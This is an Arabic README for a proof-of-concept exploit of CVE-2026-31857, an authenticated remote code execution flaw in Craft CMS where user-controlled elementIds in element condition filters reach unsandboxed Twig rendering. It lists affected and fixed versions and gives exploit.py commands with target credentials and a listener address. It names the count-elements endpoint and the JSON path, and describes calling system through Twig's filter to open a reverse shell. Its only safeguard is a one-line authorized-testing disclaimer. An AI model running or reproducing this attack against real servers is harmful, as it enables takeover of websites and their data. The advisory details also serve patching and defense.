إثبات مفهوم لـ CVE-2026-31857، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد (Remote Code Execution) تتطلب المصادقة في Craft CMS ناتجة عن معالجة غير آمنة لتعبيرات Twig التي يتحكم بها المستخدم.
إثبات مفهوم لـ CVE-2026-31857، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد (Remote Code Execution) تتطلب المصادقة في Craft CMS، ناتجة عن المعالجة غير الآمنة لتعبيرات Twig التي يتحكم بها المستخدم.
لأغراض اختبار الأمان المصرّح به والأغراض التعليمية فقط.
CVE-2026-31857 هي ثغرة تنفيذ تعليمات برمجية عن بُعد تتطلب المصادقة، وتؤثر على Craft CMS.
توجد الثغرة في معالجة قواعد شروط العناصر (element condition rules). يمكن للبيانات التي يتحكم بها المستخدم والمُقدَّمة عبر وظيفة تصفية فهرس العناصر (element index filtering) أن تصل إلى renderObjectTemplate() ويتم تقييمها كقالب Twig غير معزول (unsandboxed).
وبالتالي، يمكن لمستخدم مُصادَق لديه صلاحية الوصول إلى لوحة تحكم Craft (Craft Control Panel) تحقيق تنفيذ أوامر عشوائي على الخادم الأساسي.
| Craft CMS | المتأثرة | المُصلحة |
|---|---|---|
| 5.x | 5.0.0-RC1 – 5.9.8 | 5.9.9 |
| 4.x | 4.0.0-beta.1 – 4.17.3 | 4.17.4 |
requestsثبّت اعتمادية Python المطلوبة:
pip install requests
ابدأ مستمعًا على الجهاز الذي سيستقبل الاتصال.
ثم شغّل:
python3 exploit.py \
-u https://target.example.com \
-U username \
-P password \
-l 10.10.14.10 \
-p 4444
| الوسيطة | الوصف |
|---|---|
-u, --url | عنوان URL الهدف لـ Craft CMS |
-U, --username | اسم مستخدم Craft CMS |
-P, --password | كلمة مرور Craft CMS |
-l, --lhost | عنوان IP الخاص بالمستمع |
-p, --lport | منفذ المستمع |
مثال:
python3 exploit.py -u http://craft.local -U author -P 'Password123!' -l 10.10.14.5 -p 4444
ينفّذ إثبات المفهوم (PoC) الخطوات التالية:
elementIds./index.php?p=admin/actions/element-indexes/count-elements
بنية الطلب ذات الصلة هي:
JSON body
│
└── filters
│
└── condition[conditionRules][1]
│
└── RelatedToConditionRule
│
└── elementIds
│
└── Twig expression
│
└── command execution
يستخدم إثبات المفهوم وظيفة filter في Twig لاستدعاء الدالة system.
على مستوى عالٍ، يكون المسار المعرّض للثغرة كالتالي:
Authenticated CP User
│
▼
Element Index Filtering
│
▼
RelatedToConditionRule
│
▼
elementIds
│
▼
renderObjectTemplate()
│
▼
Unsandboxed Twig Evaluation
│
▼
Arbitrary Command Execution
النقطة المهمة هي أنه من المتوقع أن تحتوي elementIds على بيانات متعلقة بالعناصر، لكن المحتوى الذي يتحكم به المهاجم يمكن أن يصل بدلًا من ذلك إلى وظيفة عرض قالب الكائن (object-template rendering).
يستخدم إثبات المفهوم صدفة عكسية (reverse shell) كنتيجة قابلة للملاحظة لتنفيذ الأوامر.
طلب HTTP ناجح وحده لا يُثبت حدوث تنفيذ التعليمات البرمجية عن بُعد (RCE). أقوى تأكيد هو استقبال الاتصال الناتج على المستمع.
يستخدم إثبات المفهوم أيضًا مهلة HTTP قصيرة لأن تنفيذ الأوامر قد يمنع طلب Craft من الاكتمال بشكل طبيعي.
لذلك:
HTTP timeout
≠
guaranteed RCE
يعتبره إثبات المفهوم هذا مجرد مؤشر على أن الحمولة (payload) ربما تم تفعيلها. أما اتصال المستمع فيوفّر التأكيد الفعلي.